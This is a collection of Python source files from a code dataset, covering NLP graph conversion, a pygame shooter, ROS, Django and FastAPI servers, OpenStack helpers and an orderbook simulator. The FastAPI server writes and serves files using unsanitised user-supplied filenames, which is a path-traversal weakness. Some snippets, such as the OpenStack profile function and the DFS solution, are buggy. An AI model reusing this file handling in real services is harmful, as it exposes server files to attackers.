         # add BV if the EP has a quantifier\n            if q is not None:\n                edges[q.id] = {eds.BOUND_VARIABLE_ROLE: src}\n\n    return edges\n\n\ndef _mrs_to_nodes(m, edges):\n    nodes = []\n    for ep in m.rels:\n        properties, type = None, None\n        if not ep.is_quantifier():\n            iv = ep.iv\n            properties = m.properties(iv)\n            type = variable.type(iv)\n        nodes.append(\n            eds.Node(ep.id,\n                     ep.predicate,\n                     type,\n                     edges.get(ep.id, {}),\n                     properties,\n                     ep.carg,\n                     ep.lnk,\n                     ep.surface,\n                     ep.base))\n    return nodes\n\n\ndef find_predicate_modifiers(e, m, representatives=None):\n    \"\"\"\n    Return an argument structure mapping for predicate-modifier edges.\n\n    In EDS, predicate modifiers are edges that describe a relation\n    between predications in the original MRS that is not evident on\n    the regular and scopal arguments. In practice these are EPs that\n    share a scope but do not select any other EPs within their scope,\n    such as when quantifiers are modified (\"nearly every...\") or with\n    relative clauses (\"the chef whose soup spilled...\"). These are\n    almost the same as the MOD/EQ links of DMRS, except that predicate\n    modifiers have more restrictions on their usage, mainly due to\n    their using a standard role (`ARG1`) instead of an\n    idiosyncratic one.\n\n    Generally users won't call this function directly, but by calling\n    :func:`from_mrs` with `predicate_modifiers=True`, but it is\n    visible here in case users want to inspect its results separately\n    from MRS-to-EDS conversion. Note that when calling it separately,\n    *e* should use the same predication ids as *m* (by calling\n    :func:`from_mrs` with `unique_ids=False`). Also, users may define\n    their own function with the same signature and return type and use\n    it in place of this one. See :func:`from_mrs` for details.\n\n    Args:\n        e: the EDS converted from *m* as by calling :func:`from_mrs`\n            with `predicate_modifiers=False` and `unique_ids=False`,\n            used to determine if parts of the graph are connected\n        m: the source MRS\n        representatives: the scope representatives; this argument is\n            mainly to prevent :func:`delphin.scope.representatives`\n            from being called twice on *m*\n    Returns:\n        A dictionary mapping source node identifiers to\n        role-to-argument dictionaries of any additional\n        predicate-modifier edges.\n    Examples:\n        >>> e = eds.from_mrs(m, predicate_modifiers=False)\n        >>> print(eds.find_predicate_modifiers(e.argument_structure(), m)\n        {'e5': {'ARG1': '_1'}}\n    \"\"\"\n    if representatives is None:\n        representatives = scope.representatives(m)\n    role = eds.PREDICATE_MODIFIER_ROLE\n\n    # find connected components so predicate modifiers only connect\n    # separate components\n    ids = {ep.id for ep in m.rels}\n    edges = []\n    for node in e.nodes:\n        for _, tgt in node.edges.items():\n            edges.append((node.id, tgt))\n    components = util._connected_components(ids, edges)\n\n    ccmap = {}\n    for i, component in enumerate(components):\n        for id in component:\n            ccmap[id] = i\n\n    addl = {}\n    if len(components) > 1:\n        for label, eps in representatives.items():\n            if len(eps) > 1:\n                first = eps[0]\n                joined = set([ccmap[first.id]])\n                for other in eps[1:]:\n                    occ = ccmap[other.id]\n                    type = variable.type(other.args.get(role, 'u0'))\n                    needs_edge = occ not in joined\n                    edge_available = type.lower() == 'u'\n                    if needs_edge and edge_available:\n                        addl.setdefault(other.id, {})[role] = first.id\n                        joined.add(occ)\n    return addl\n\n\ndef make_ids_unique(e, m):\n    \"\"\"\n    Recompute the node identifiers in EDS *e* to be unique.\n\n    MRS objects used in conversion to EDS already have unique\n    predication ids, but they are created according to PyDelphin's\n    method rather than the LKB's method, namely with regard to\n    quantifiers and MRSs that do not have the intrinsic variable\n    property. This function recomputes unique EDS node identifiers by\n    the LKB's method.\n\n    .. note::\n        This function works in-place on *e* and returns nothing.\n\n    Args:\n        e: an EDS converted from MRS *m*, as from :func:`from_mrs`\n            with `unique_ids=False`\n        m: the MRS from which *e* was converted\n    \"\"\"\n    # deps can be used to single out ep from set sharing ARG0s\n    new_ids = (f'_{i}' for i in count(start=1))\n    nids = {}\n    used = {}\n    # initially only make new ids for quantifiers and those with no IV\n    for ep in m.rels:\n        nid = ep.iv\n        if nid is None or ep.is_quantifier():\n            nid = next(new_ids)\n        nids[ep.id] = nid\n        used.setdefault(nid, set()).add(ep.id)\n    # for ill-formed MRSs, more than one non-quantifier EP may have\n    # the same IV. Select a winner like selecting a scope\n    # representatives: the one not taking others in its group as an\n    # argument.\n    deps = {node.id: node.edges.items() for node in e.nodes}\n    for nid, ep_ids in used.items():\n        if len(ep_ids) > 1:\n            ep_ids = sorted(\n                ep_ids,\n                key=lambda n: any(d in ep_ids for _, d in deps.get(n, []))\n            )\n            for nid in ep_ids[1:]:\n                nids[nid] = next(new_ids)\n\n    # now use the unique ID mapping for reassignment\n    if e.top is not None:\n        e.top = nids[e.top]\n    for node in e.nodes:\n        node.id = nids[node.id]\n        edges = {role: nids[arg] for role, arg in node.edges.items()}\n        node.edges = edges\n","repo_name":"delph-in/pydelphin","sub_path":"delphin/eds/_operations.py","file_name":"_operations.py","file_ext":"py","file_size_in_byte":9714,"program_lang":"python","lang":"en","doc_type":"code","stars":73,"dataset":"github-code","pt":"35"}
{"seq_id":"30552966971","text":"import sys\nimport pygame\nfrom time import sleep\n\nimport sound\nimport highscore_screen_functions as hsf\nimport game_over_screen_functions as gosf\nfrom bullet import Bullet\nfrom alien import Alien\nfrom button import Button\n\ndef check_keydown_events(event, game_settings, screen, ship, bullets):\n\t\"\"\"respond to key presses\"\"\"\n\tif event.key == pygame.K_RIGHT:\n\t\t#ship.moving_left = False\n\t\tship.moving_right = True\n\telif event.key == pygame.K_LEFT:\n\t\t#ship.moving_right = False\n\t\tship.moving_left = True\n\telif event.key == pygame.K_SPACE:\n\t\tfire_bullet(game_settings, screen, ship, bullets)\n\telif event.key == pygame.K_q:\n\t\tsys.exit()\n\n\t\t\n\ndef fire_bullet(game_settings, screen, ship, bullets):\n\tif len(bullets) < game_settings.bullets_allowed:\n\t\tsound.play_sound(game_settings.shoot)\n\t\tnew_bullet = Bullet(game_settings, screen, ship)\n\t\tbullets.add(new_bullet)\n\n\n\t\t\ndef check_keyup_events(event, ship):\n\t\"\"\"respond to key releases\"\"\"\n\tif event.key == pygame.K_RIGHT:\n\t\tship.moving_right = False\n\telif event.key ==  pygame.K_LEFT:\n\t\tship.moving_left = False\n\t\t\n\n\t\t\ndef check_events(game_settings, screen, game_stats, scoreboard, play_button, \n\t\thighscore_button, ship, aliens, bullets):\n\t\"\"\"Respond to keypresses and mouse events\"\"\"\n\t\n\tfor event in pygame.event.get():\n\t\tif event.type == pygame.QUIT:\n\t\t\tsys.exit()\n\t\telif event.type == pygame.KEYDOWN:\n\t\t\tcheck_keydown_events(event, game_settings, screen, ship, bullets)\n\t\telif event.type == pygame.KEYUP:\n\t\t\tcheck_keyup_events(event, ship)\n\t\telif event.type == pygame.MOUSEBUTTONDOWN:\n\t\t\tmouse_x, mouse_y = pygame.mouse.get_pos()\n\t\t\tcheck_play_button(game_settings, screen, game_stats, scoreboard,\n\t\t\t\tplay_button, ship, aliens, bullets, mouse_x, mouse_y)\n\t\t\thsf.check_highscore_button(game_settings, screen, game_stats, scoreboard,\n\t\t\t\thighscore_button, mouse_x, mouse_y)\n\t\t\t\n\t\t\t\n\t\t\t\ndef check_play_button(game_settings, screen, game_stats, scoreboard,\n\t\tplay_button, ship, aliens, bullets, mouse_x, mouse_y):\n\t\"\"\"start a new game when the player clicks the play button\"\"\"\n\tplay_button_pushed = play_button.rect.collidepoint(mouse_x, mouse_y) \n\tif play_button_pushed and not game_stats.game_active:\n\t\t#reset the speed of ship, bullets and aliens\n\t\tgame_settings.reset()\n\t\tpygame.mouse.set_visible(False)\n\t\tstart_game(game_settings, screen, game_stats, scoreboard, ship, aliens,\n\t\t\tbullets)\n\t\t\t\n\t\t\t\n\t\t\ndef start_game(game_settings, screen, game_stats, scoreboard, ship, aliens, \n\t\tbullets):\n\t#reset the game stats\n\tgame_stats.reset_stats()\n\tgame_stats.game_active = True\n\t\n\t#reset the scoreboard\n\tscoreboard.prep_score()\n\tscoreboard.prep_high_score()\n\tscoreboard.prep_level()\n\tscoreboard.prep_lives()\n\t\n\t#empty the alien and bullet lists\n\taliens.empty()\n\tbullets.empty()\n\t\n\t#create the alien fleet and center our ship\n\tcreate_fleet(game_settings, game_stats, screen, ship, aliens)\n\tship.center_ship()\n\n\n\t\ndef update_screen(game_settings, game_stats, scoreboard, screen, ship, \n\t\t\tbullets, aliens, play_button, highscore_rankings_button):\n\t\"\"\"Update images on the screen and flip to the new screen\"\"\"\n\t\n\tscreen.fill(game_settings.bg_color)\n\n\tfor bullet in bullets.sprites():\n\t\tbullet.draw_bullet()\n\t\t\n\tship.blitme()\n\taliens.draw(screen)\n\tscoreboard.show_score()\n\t\n\tif not game_stats.game_active:\n\t\tplay_button.draw_button()\n\t\thighscore_rankings_button.draw_button()\n\t\n\t#Make the most recently drawn screen visible\n\tpygame.display.flip()\n\t\n\t\n\t\ndef check_high_score(game_stats, scoreboard):\n\t\"\"\"See if there is a new high score, called from check_collisions func\"\"\"\n\n\tif game_stats.score > game_stats.high_score:\n\t\tgame_stats.high_score = game_stats.score\n\t\tscoreboard.prep_high_score()\n\t\n\t\n\t\ndef update_bullets(game_settings, game_stats, scoreboard, screen, ship, \n\t\tbullets, aliens):\n\t#Calls update() for each bullet we put in the group\n\tbullets.update()\n\t\n\t#Get rid of bullets that have left the screen\n\tfor bullet in bullets.copy():\n\t\tif bullet.rect.bottom <= 0:\n\t\t\tbullets.remove(bullet)\n\n\tcheck_collisions(game_settings, game_stats, scoreboard, screen, ship, \n\t\tbullets, aliens)\n\n\t\n\t\ndef check_collisions(game_settings, game_stats, scoreboard, screen, ship, \n\t\tbullets, aliens):\n\t#Check for collisions between bullets and aliens, removes both\n\tcollisions = pygame.sprite.groupcollide(bullets, aliens, True, True)\n\t\n\t#updates the score\n\tif collisions:\t\n\t\tfor aliens_hit in collisions.values():\n\t\t\t#checks whether the hit alien is destroyed and scores accordingly\n\t\t\twhile aliens_hit:\n\t\t\t\talien = aliens_hit.pop()\n\t\t\t\tif(alien.change_color()):\n\t\t\t\t\tsound.play_sound(game_settings.hit_2)\n\t\t\t\t\taliens.add(alien)\n\t\t\t\telse:\n\t\t\t\t\tsound.play_sound(game_settings.alien_destroyed)\n\t\t\t\t\tgame_stats.score += alien.point_value\t\n\t\t\t\t\tscoreboard.prep_score()\t\t\n\t\t\n\t\tcheck_high_score(game_stats, scoreboard)\t\n\t\n\t#repopulate fleet if no aliens left\n\tif len(aliens) <= 0:\n\t\tbullets.empty()\n\t\tgame_settings.increase_speed()\n\t\t\n\t\t#Increase the level\n\t\tgame_stats.level += 1\n\t\tscoreboard.prep_level()\n\t\t\n\t\tcreate_fleet(game_settings, game_stats, screen, ship, aliens)\n\t\n\t\n\t\ndef get_number_aliens_x(game_settings, alien_width):\n\tavailable_space_x = game_settings.screen_width - (2 * alien_width)\n\tnumber_aliens_x = int(available_space_x / (2 * alien_width))\n\treturn number_aliens_x\n\n\t\n\t\ndef create_alien(game_settings, game_stats, screen, aliens, alien_number, row_number):\n\talien = Alien(game_settings, game_stats, screen)\n\talien_width = alien.rect.width\n\talien.x = alien_width + 2 * alien_width * alien_number\n\talien.rect.x = alien.x\n\t\n\talien_height = alien.rect.height\n\talien.rect.y = alien_height + 2 * alien_height * row_number\n\taliens.add(alien)\n\n\t\n\t\ndef get_number_rows(game_settings, ship_height, alien_height):\n\tavailabe_space_y = (game_settings.screen_height - \n\t\t(alien_height * 3) - ship_height)\n\tnumber_rows = int(availabe_space_y / (2 * alien_height))\n\treturn number_rows\n\t\t\n\t\n\t\ndef create_fleet(game_settings, game_stats, screen, ship, aliens):\n\t\"\"\"Creates the alien fleet\"\"\"\n\talien = Alien(game_settings, game_stats, screen)\n\tnumber_aliens_x = get_number_aliens_x(game_settings, alien.rect.width)\n\tnumber_rows = get_number_rows(game_settings, ship.rect.height, \n\t\talien.rect.height)\n\t\n\tfor row_number in range(number_rows):\n\t\tfor alien_number in range(number_aliens_x):\n\t\t\tcreate_alien(game_settings, game_stats, screen, aliens, \n\t\t\t\talien_number, row_number)\n\n\t\t\t\n\t\t\t\ndef check_fleet_edges(game_settings, aliens):\n\t\"\"\"Checks each alien if it has hit the edge of the screen, if it has \n\tchange directions\"\"\"\n\tfor alien in aliens.sprites():\n\t\tif alien.check_edges():\n\t\t\tchange_fleet_direction(game_settings, aliens)\n\t\t\tbreak\n\n\t\t\t\n\t\t\t\ndef change_fleet_direction(game_settings, aliens):\n\t\"\"\"after hitting an edge, move aliens down and change the direction the \n\tfleet is moving in\"\"\"\n\tfor alien in aliens.sprites():\n\t\talien.rect.y += game_settings.fleet_drop_speed\n\tgame_settings.fleet_direction *= -1\n\n\t\n\t\ndef ship_hit(game_settings, game_stats, screen, scoreboard, ship, bullets, aliens):\n\t\"\"\"if ship is hit, check if we still have lives left otherwise end the game\"\"\"\n\tif game_stats.ships_left > 0:\n\t\tgame_stats.ships_left -= 1\n\t\tscoreboard.prep_lives()\n\t\taliens.empty()\n\t\tbullets.empty()\n\t\tcreate_fleet(game_settings, game_stats, screen, ship, aliens)\n\t\tship.center_ship()\n\t\tsound.play_sound(game_settings.ship_destroyed)\n\t\tsleep(1)\n\telse:\n\t\tgame_stats.game_active = False\n\t\tsleep(1)\n\t\tgosf.game_over_screen(game_settings, game_stats, screen)\n\t\tpygame.mouse.set_visible(True)\n\t\t\n\t\t\n\ndef check_bottom(game_settings, game_stats, screen, scoreboard,ship, bullets, aliens):\n\t\"\"\"checks if aliens has hit bottom of the screen\"\"\"\n\tfor alien in aliens.sprites():\n\t\tif alien.rect.bottom >= game_settings.screen_height:\n\t\t\tship_hit(game_settings, game_stats, screen, scoreboard, ship, bullets, aliens)\n\t\t\tbreak\n\t\n\n\ndef update_aliens(game_settings, game_stats, screen, scoreboard, ship, bullets, aliens):\n\t\"\"\"handles moving the alien and checking to if anything has been hit\"\"\"\n\taliens.update()\n\tcheck_fleet_edges(game_settings, aliens)\n\t\n\t#Look for alien ship collisions\n\tif pygame.sprite.spritecollideany(ship, aliens):\n\t\tship_hit(game_settings, game_stats, screen, scoreboard, ship, bullets, aliens)\n\t\t\n\t#look for aliens hitting bottom\n\tcheck_bottom(game_settings, game_stats, screen, scoreboard, ship, bullets, aliens)\n\t\n\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t","repo_name":"shiny-dolphin/alien_invasion","sub_path":"game_functions.py","file_name":"game_functions.py","file_ext":"py","file_size_in_byte":8297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4558496288","text":"#!/usr/bin/env python\nimport rospy\nfrom std_msgs.msg import Float64 \nfrom geometry_msgs.msg import Point\nfrom dynamixel_msgs.msg import JointState\nfrom random import randint\n\nfrom math import pi, sin, cos, sqrt, atan2, acos, degrees, radians\n#from numpy import arange\n\n\ndef cart2sph(x,y,z):\n\tXsqPlusYsq = x**2 + y**2\n\tr = sqrt(XsqPlusYsq + z**2)               # r\n\ttheta = atan2(sqrt(XsqPlusYsq), z)     # theta\n\tphi = atan2(y,x)                           # phi\n\tif r == 0.0:\n\t\ttheta = pi/2;\t\n\treturn r, theta, phi\n\ndef sph2cart(r, theta, phi):\n\tx = r*sin(theta)*cos(phi)\n\ty = r*sin(theta)*sin(phi)\n\tz = r*cos(theta)\n\treturn x, y, z\n\n\ndef main():\n\torder = Point(100,10,10);\n\teyeOrder = Point(0,0,0);\n\n\n\trospy.init_node('headTestPublisher', anonymous=True)\n\n\tdirectionPub = rospy.Publisher(\"/neckControlCamera/servosDirection\", Point)\n\t\n\tr = rospy.Rate(5) # hz\t\n\n\twhile not rospy.is_shutdown():\n\t\torder.x = order.x + randint(-1,1)*1;\n\t\torder.y = order.y + randint(-1,1)*10;\n\t\torder.z = order.z + randint(-1,1)*10;\n\n\t\t# publish data\n\t\tdirectionPub.publish(order);\n\n\t\t# for eyes\n\t\t#(R, theta, phi) = cart2sph(order.x, order.y, order.z);\n\t\t#eyeOrder.x = degrees(phi); eyeOrder.y = degrees(theta);\n\t\t#directionPub.publish(eyeOrder);\n\t\t#rospy.logwarn(\"eyes order: bot = %g up = %g\", eyeOrder.x, eyeOrder.y);\n\n\t\tr.sleep()\n\n\n\n\n\nif __name__ == '__main__':\n\ttry:\n\t\tmain()\n\texcept rospy.ROSInterruptException: pass\n\n\n\n\n","repo_name":"polyrobo-govorun/govorun","sub_path":"scripts/headTestPublisher.py","file_name":"headTestPublisher.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30091575396","text":"from django.urls import path, include\nfrom .views import (\n    HelloAPIView,\n    TestAPIViewSet,\n    UserProfileViewSet,\n    UserLoginAPIView,\n    UserProfileFreedItemView,\n    CreateUserView,\n    CreateTokenView,\n)\nfrom rest_framework import routers\n\napp_name = \"profile\"\nrouter = routers.DefaultRouter()\nrouter.register(\"api_viewset\", TestAPIViewSet, basename=\"api_viewset\")\nrouter.register(\"profiles_api\", UserProfileViewSet, basename=\"profiles_api\")\nrouter.register(\"profile_feed\", UserProfileFreedItemView)\n\nurlpatterns = [\n    path(\"test_api_view/\", HelloAPIView.as_view(), name=\"test_api_view\"),\n    path(\"\", include(router.urls)),\n    path(\"login/\", UserLoginAPIView.as_view()),\n    path(\"create/\", CreateUserView.as_view(), name=\"create\"),\n    path(\"token/\", CreateTokenView.as_view(), name=\"token\"),\n]\n","repo_name":"HaniehKhalesi/intermediate-django-api","sub_path":"src/profiles_api/ulrs.py","file_name":"ulrs.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"17462705963","text":"from fastapi import FastAPI, File, UploadFile, HTTPException\nfrom fastapi.responses import FileResponse\nfrom fastapi.staticfiles import StaticFiles\nfrom pathlib import Path\nimport uvicorn\nfrom fastapi.middleware.cors import CORSMiddleware\n\napp = FastAPI()\n\n# Configure CORS\norigins = [\n    \"http://localhost:5173\",  # Add your frontend URL here\n]\n\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=origins,\n    allow_credentials=True,\n    allow_methods=[\"GET\", \"POST\", \"PUT\", \"DELETE\"],\n    allow_headers=[\"*\"],\n)\n\n\n# Serve the static files (Excel files)\napp.mount(\"/files\", StaticFiles(directory=\"files\"), name=\"files\")\n\nuploaded_files = []\n\n\n@app.post(\"/upload\")\nasync def upload_file(file: UploadFile = File(...)):\n    file_path = f\"files/{file.filename}\"\n    with open(file_path, \"wb\") as buffer:\n        buffer.write(await file.read())\n    uploaded_files.append(file.filename)\n    return {\"filename\": file.filename}\n\n\n\n@app.get(\"/files\")\ndef get_files(option: str, year: int, month: int):\n    filename = f\"{option}_{year}-{month:02d}.xlsx\"\n    filepath = Path(f\"files/{filename}\")\n\n    if not filepath.exists():\n        raise HTTPException(status_code=404, detail=\"File not found\")\n\n    return FileResponse(filepath, filename=filename, media_type=\"application/vnd.ms-excel\")\n\n\n    # filtered_files = filter_files(option, period)\n    # return {\"files\": filtered_files}\n\n# def filter_files(option: str, period: str):\n#     print(option, period)\n#     # Implement logic to filter files based on the selected option and period\n#     filtered_files = []\n#     for file in uploaded_files:\n#         if option in file and period in file:\n#             filtered_files.append(file)\n#     return filtered_files\n\n\n@app.get(\"/download/{filename}\")\ndef download_file(filename: str):\n    file_path = f\"files/{filename}\"\n    return FileResponse(file_path, filename=filename)\n\n\nif __name__ == \"__main__\":\n    uvicorn.run(\"server:app\", host=\"0.0.0.0\", port=23231, reload=True)\n","repo_name":"Islambek201632838/Excel-upload-dowload-display","sub_path":"front/src/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"31179780011","text":"# -*- coding: utf-8 -*-\n# author:xiaoming\n#文件类型列表\ndef list_profile_types(conn):\n    print(\"List Profile Types:\")\n    for pt in conn.cluster.profile_types():\n        print(pt.to_dict())\n#得到文件类型\ndef get_profile_type(conn):\n    print(\"Get Profile Type:\")\n    pt = conn.cluster.get_profile_type('os.nova.server-1.0')\n    print(pt.to_dict())\n#检查配置文件列表\ndef list_profiles(conn):\n    print(\"List Profiles:\")\n    for profile in conn.cluster.profiles():\n        print(profile.to_dict())\n    for profile in conn.cluster.profiles(sort='name:asc'):\n        print(profile.to_dict())\n#创建一个想要的配置文件\n\ndef create_profile(conn):\n    SERVER_NAME, FLAVOR_NAME, IMAGE_NAME, NETWORK_NAME = 0\n    print(\"Create Profile:\")\n    spec = {\n        'profile': 'os.nova.server',\n        'version': 1.0,\n        'properties': {\n            'name': SERVER_NAME,\n            'flavor': FLAVOR_NAME,\n            'image': IMAGE_NAME,\n            'networks': {\n                'network': NETWORK_NAME\n            }\n        }\n    }\n    profile = conn.cluster.create_profile('os_server', spec)\n    print(profile.to_dict())\n#查找配置文件\ndef find_profile(conn):\n    print(\"Find Profile:\")\n    profile = conn.cluster.find_profile('os_server')\n    print(profile.to_dict())\n#获取配置文件\ndef get_profile(conn):\n    print(\"Get Profile:\")\n    profile = conn.cluster.get_profile('os_server')\n    print(profile.to_dict())\n#更新配置文件\ndef update_profile(conn):\n    print(\"Update Profile:\")\n    profile = conn.cluster.update_profile('os_server', name='old_server')\n    print(profile.to_dict())\n#删除配置文件\ndef delete_profile(conn):\n    print(\"Delete Profile:\")\n    conn.cluster.delete_profile('os_server')\n    print(\"Profile deleted.\")","repo_name":"gm332211/openstack-project","sub_path":"opsdk/module/profile_views.py","file_name":"profile_views.py","file_ext":"py","file_size_in_byte":1774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4522455583","text":"import sys\nn,m = map(int,sys.stdin.readline().rstrip().split())\n\ndy = [-1,1,0,0]\ndx = [0,0,-1,1]\n\npaper = []\nmaxx = 0\n\ndef dfs(i,j,summ,cnt):\n    global maxx\n    if cnt==4:\n        maxx = max(maxx,summ)\n        return\n    \n    visited[i][j] = True\n    summ+=paper[i][j]\n    \n    for u in range(4):\n        y = i+dy[u]\n        x = j+dx[u]\n        if ((0<=y<n) & (0<=x<m)):\n            if visited[y][x] == False:\n                dfs(y,x,summ,cnt+1)\n    \n\nfor i in range(n):\n    paper.append(list(map(int,sys.stdin.readline().rstrip().split())))\n\nfor i in range(n):\n    for j in range(m):\n        visited = [[False] * m for _ in range(n)]\n        dfs(i,j,0,0)\n        print(maxx)\nprint(maxx)","repo_name":"redlion0929/baekjoon---2020-winter","sub_path":"class3/14500.py","file_name":"14500.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74578387299","text":"from orderbook import *\nfrom update import *\nimport numpy as np\nimport copy\n\nclass Market:\n    # simulate transactions in the market, calculate the orderbook at a given time\n    # Attributes:\n    #   initial_orderbook - the orderbook storing the initial orders by the beginning of inspection\n    #   current_orderbook - an orderbook object storing current orderbook, if need to recaculate, use reset()\n    #   updates_matrix - a numpy array containing the information of updates in the form of matrix\n    # Methods:\n    #   initializer - construct the initial orderbook\n    #   calculate_orderbook - calculate an orderbook using all updates before a given timestamp\n    def __init__(self, order_data, update_data):\n        # construct a market object, initialize the orderbook, store the update matrix\n        # Input:\n        #   order_date - a numpy array with desired format\n        #   update_date - a numpy array with desired format\n        # Returns:\n        # Modifies:\n        assert (isinstance(order_data, np.ndarray) and isinstance(update_data, np.ndarray))\n        self.initial_orderbook = Orderbook(order_data)\n        self.current_orderbook = Orderbook(order_data)\n        self.updates_matrix = update_data\n        self.updates_counter = 0\n        self.malicious_updates_counter = 0\n        self.time = 0\n\n    def calculate_orderbook(self, time):\n        # calculate an orderbook at the given time\n        # Input:\n        #   time - an integer representing the time of inspection\n        # Returns:\n        #   an orderbook object\n        # Modifies:\n        #orderbook = copy.deepcopy(self.initial_orderbook)\n        next_update = Update(self.updates_matrix[max(self.updates_counter - 1, 0), :])\n        if time < self.time:\n            print(\"query a time later than\", self.time)\n            print(\"or use 'reset' to reset the orderbook\")\n            raise INVALID_TIME(\"INVALID TIME\")\n        while (next_update.get_timestamp() < time and self.updates_counter < self.updates_matrix.shape[0]):\n            next_update = Update(self.updates_matrix[self.updates_counter, :])\n            try:\n                self.current_orderbook.execute_update(next_update)\n            except:\n                print(\"malicious update found at time\", next_update.get_timestamp())\n                self.malicious_updates_counter += 1\n            self.updates_counter += 1\n        self.time = time\n        return self.current_orderbook\n\n    def reset(self):\n        #reset the orderbook to time 0\n        self.current_orderbook = copy.deepcopy(self.initial_orderbook)\n        self.updates_counter = 0\n        self.malicious_updates_counter = 0\n\n    def get_num_malicious(self):\n        #return the number of malicious updates\n        return self.malicious_updates_counter\n\n    def print_num_malicious(self):\n        #return the number of malicious updates\n        print(\"found abnormal updates:\", self.malicious_updates_counter)\n","repo_name":"bellyfat/Cryptocurrency-Arbitrage_Profit_Calculator","sub_path":"Orderbook_Reconstruction/market.py","file_name":"market.py","file_ext":"py","file_size_in_byte":2925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18527690502","text":"\"\"\"Collection of utility functions.\"\"\"\r\n\r\nimport hashlib\r\nimport importlib\r\nimport logging\r\nimport os\r\nimport os.path as op\r\nimport random\r\nimport sys\r\nimport tempfile\r\nimport time\r\nfrom contextlib import contextmanager\r\nfrom io import BytesIO\r\nfrom uuid import uuid4\r\n\r\nimport fsspec\r\nimport janitor  # noqa\r\nimport joblib\r\nimport numpy as np\r\nimport pandas as pd\r\nimport pandas_flavor as pf\r\nimport panel as pn\r\nimport yaml\r\n\r\nimport ta_lib\r\n\r\nfrom .base_utils import silence_common_warnings\r\n\r\nlogger = logging.getLogger(__name__)\r\npd.options.mode.use_inf_as_na = True\r\n\r\n\r\ndef import_python_file(py_file_path):\r\n    mod_name, ext = op.splitext(op.basename(op.abspath(py_file_path)))\r\n    if ext != \".py\":\r\n        raise ValueError(\"Invalid file extension : {ext}. Expected a py file\")\r\n    spec = importlib.util.spec_from_file_location(mod_name, py_file_path)\r\n    mod = importlib.util.module_from_spec(spec)\r\n    spec.loader.exec_module(mod)\r\n    return mod\r\n\r\n\r\ndef save_pipeline(pipeline, loc):\r\n    \"\"\"Save an sklearn pipeline in a location.\r\n\r\n    Parameters\r\n    ----------\r\n    pipeline : sklearn.Pipeline\r\n        Pipeline object to be saved\r\n    loc : str\r\n        Path string of the location where the pipeline has to be saved\r\n    \"\"\"\r\n    logger.info(f\"Saving pipeline to location {loc}\")\r\n\r\n    os.makedirs(op.dirname(loc), exist_ok=True)\r\n    joblib.dump(pipeline, loc)\r\n\r\n\r\ndef create_job_id(context):\r\n    \"\"\"Create a unique id for a job.\r\n\r\n    Parameters\r\n    ----------\r\n    context : ta_lib.core.context.Context\r\n\r\n    Returns\r\n    -------\r\n    string\r\n        unique string identifier\r\n    \"\"\"\r\n    return f\"job-{uuid4()}\"\r\n\r\n\r\ndef initialize_environment(debug=True, hide_warnings=True):\r\n    \"\"\"Initialize the OS Environ with relevant values.\r\n\r\n    Parameters\r\n    ----------\r\n    debug: bool, optional\r\n        Whether to set TA_DEBUG to True of False in the environment, default=True\r\n    hide_warnings: bool, optional\r\n        True will hide warnings, default True\r\n    \"\"\"\r\n    # FIXME: support config\r\n    if debug:\r\n        os.environ[\"TA_DEBUG\"] = \"True\"\r\n    else:\r\n        os.environ[\"TA_DEBUG\"] = \"False\"\r\n\r\n    # force tigerml to raise an exception on failure\r\n    os.environ[\"TA_ALLOW_EXCEPTIONS\"] = \"True\"\r\n\r\n    if hide_warnings:\r\n        silence_common_warnings()\r\n\r\n\r\ndef is_debug_mode():\r\n    \"\"\"Check if the current environ is in debug mode.\"\"\"\r\n    debug_mode = os.environ.get(\"TA_DEBUG\", \"True\")\r\n    return debug_mode.upper() == \"TRUE\"\r\n\r\n\r\n@contextmanager\r\ndef timed_log(msg):\r\n    \"\"\"Log the provided ``msg`` with the execution time.\"\"\"\r\n    start_time = time.time()\r\n    try:\r\n        yield\r\n    finally:\r\n        end_time = time.time()\r\n        logging.info(f\"{msg} : {end_time-start_time} seconds\")\r\n\r\n\r\n@contextmanager\r\ndef disable_logging(highest_level=logging.CRITICAL):\r\n    \"\"\"Disable all logs below ``highest_level``.\"\"\"\r\n    # NOTE: this is the attribute that seems to be modified\r\n    # by the call to logging.disable. so we first save this\r\n    # and reset it when exiting the context.\r\n    orig_level = logging.root.manager.disable\r\n    logging.disable(highest_level)\r\n    try:\r\n        yield\r\n    finally:\r\n        logging.disable(orig_level)\r\n        logging.info(\"*\" * 80)\r\n\r\n\r\n@contextmanager\r\ndef silence_stdout():\r\n    \"\"\"Silence print stmts on the console unless in debug mode.\"\"\"\r\n    # debug mode. do nothing.\r\n    if is_debug_mode():\r\n        try:\r\n            yield\r\n        finally:\r\n            return\r\n\r\n    # not in debug mode. silence the output by writing to the null device.\r\n    with open(os.devnull, \"w\") as fp:\r\n        old_dunder_stdout = sys.__stdout__\r\n        old_sys_stdout = sys.stdout\r\n        # FIXME: This doesen't help with notebooks\r\n        # with redirect_stdout(fp):\r\n        #    yield\r\n        try:\r\n            sys.__stdout__ = fp\r\n            sys.stdout = fp\r\n            yield\r\n\r\n        except Exception as e:\r\n            sys.stderr.write(\"Error: {}\".format(str(e)))\r\n        finally:\r\n            sys.__stdout__ = old_dunder_stdout\r\n            sys.stdout = old_sys_stdout\r\n\r\n\r\ndef display_as_tabs(figs, width=300, height=300, cloud_env=\"local\"):\r\n    \"\"\"To display multiple dataset outputs as tabbed panes.\r\n\r\n    Parameters\r\n    ----------\r\n    figs: list(tuples)\r\n        List of ('tab_name',widget) to be displayed\r\n    width: int, optional\r\n        width of the output, default 300\r\n    height: int, optional\r\n        height of the output, default 300\r\n\r\n    Returns\r\n    